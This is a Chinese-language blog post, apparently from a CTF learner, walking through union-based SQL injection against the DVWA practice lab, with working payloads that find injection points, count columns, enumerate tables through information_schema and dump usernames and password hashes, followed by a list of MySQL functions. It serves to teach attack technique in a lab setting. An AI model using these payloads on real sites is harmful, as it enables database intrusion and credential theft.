渗透测试之SQL注入(上篇)
题记:
本来今天想把白天刷的攻防世界Web进阶的做个总结,结果估计服务器抽疯环境老报错,然后想了下今天用到了SQL注入,文件上传等等,写写心得。相信很多朋友都一直想学好渗透,然后看到各种入门视频,入门书籍,零基础XXX,从入门到放弃,收藏即学完,东一块西一块的,本人也一样,不过当做攻防世界的web题时,梳理知识总结心得的时候发现虽然之前学的零散,但现在不断融汇贯通各个知识点不断串起来,由点到线再到面的感觉,总之和大家一起探索,共同进步!!!
内心OS:卷死其他小伙伴!!!努力学习,就会有收获!!!
(一)SQL注入原理
SQL注入,一般指web应用程序对用户输入数据的合法性没有校验或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,
在不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
****总之看到有搜索框就要留意是不是有注入点***
(二)SQL注入思路及步骤
1.判断是否是注入点
输入1' and 1=1# 发现没报错,正常输出
输入 1' and 1=2# 发现没正常输入内容说明此处是注入点
2.使用判断表有多少字段(列)
数字型注入命令:1' order by [num] num表示数字1,2,3.....一个一个网上加直到报错为止则列数为不报错最大的num
输入1' order by 3#时报错,所以有两列。
字符型注入命令:1'union select [1,2,3...num] num表示数字1,2,3.....一个一个网上加直到不报错为止则列数为不报错的num
结果:报错
输入:1‘union select 1,2# 发现不报错。
综上可以得出列数为2,且记住它们的显示位置。
3.使用union联合查询其他信息,首先查看当前数据库,及用户。
注入命令:1'union select database(),user()#
得到了数据库叫dvwa 用户名为root.接下来就准备爆库,查询看看数据库有说明表。
在mysql数据库版本大于V5.0的版本加入了information_schema的表方便查询。
注入命令:1'union select table_name,2 from information_schema.tables where table_schema=database()#
发现两个表guestbook,users,第一个是来访登记簿,第二个是用户表,显然我们需要的是用户表更有价值。
接下来,爆表,查询出表项/列(column)
注入命令:'union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users'#
报出列名,其中最主要的是user,password
最后就是爆数据,显示用户名和密码。
注入命令:'union select user,password from users#
得到用户admin及密码哈希值:5f4dcc3b5aa765d61d8327deb882cf99 解密后就是password DVWA的默认账号密码。
在线解码工具网址: https://www.cmd5.com/
======================================================================================
(三)总结:
mysql系统函数
user() :当前使用者的用户名
database():当前数据库名
version():数据库版本
datadir:读取数据库的绝对路径
@@vasedir:mysql安装路径
@@version_compile_os:操作系统
concat():连接一个或者多个字符串
group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据
posted on 2022-02-21 00:16 shacker_shen 阅读(220) 评论(0) 编辑 收藏 举报